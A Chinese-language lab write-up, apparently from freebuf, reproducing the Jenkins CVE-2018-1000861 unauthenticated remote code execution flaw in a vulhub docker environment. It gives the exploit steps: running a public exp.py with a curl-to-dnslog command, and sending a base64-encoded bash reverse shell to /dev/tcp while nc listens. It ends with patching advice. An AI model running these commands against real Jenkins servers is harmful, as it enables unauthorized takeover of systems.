0x00简介
Jenkins自动化部署可以解决集成、测试、部署等重复性的工作,工具集成的效率明显高于人工操作;并且持续集成可以更早的获取代码变更的信息,从而更早的进入测试阶段,更早的发现问题,这样解决问题的成本就会显著下降:持续集成缩短了从开发、集成、测试、部署各个环节的时间,从而也就缩短了中间出现的等待时间;持续集成也意味着开发、集成、测试、部署得以持续。
0x01漏洞概述
Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。通过这个漏洞,可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。
0x02影响范围
2.153 and earlier
LTS 2.138.3 and earlier
0x03环境搭建
1. 本次实验靶场使用vulhub中docker搭建,vulhub下载地址:
https://github.com/vulhub/vulhub
2. 然后在虚拟机中安装docker,以及安装docker-compose命令,安装方法请自行百度
3. 下载完成后传入安装了虚拟机,然后进入相关漏洞目录
cd vulhub-master/jenkins/CVE-2018-1000861/
4.使用docker-compose up -d运行漏洞环境
5. 环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins
0x04漏洞复现
1. 使用一下命令查看目标的版本
curl -s -I http://your-ip:8080|grep X-Jenkins
2.由于此漏洞是没有回显的,这里使用GitHub上漏exp执行命令。注:也可使用burp抓包执行
exp下载地址:https://github.com/orangetw/awesome-jenkins-rce-2019
下载完成后使用python2执行检查漏洞python2 exp.py http://your-ip:8080 “curl dnslog ”
3.由于此漏洞没有回显,这里直接反弹shell //注:反弹shell需要base64加密
bash -i >& /dev/tcp/your-ip/port 0>&1
base64加密网址:http://www.jackson-t.ca/runtime-exec-payloads.html
3.1然后在nc上监听shell的ip和端口,使用exp发送加密后的shell
小结
1. 本次漏洞复现需要使用到docker环境,需要会用docker基本命令
2. 需要使用到linux相关的命令,以及linux反弹shell的语法
0x05修复建议
1.升级到最新版本或打上相关补丁
2.尽量不要开放到公网上
3.限制IP访问
来源:freebuf.com 2020-12-23 20:10:08 by: 东塔安全学院
请登录后发表评论
注册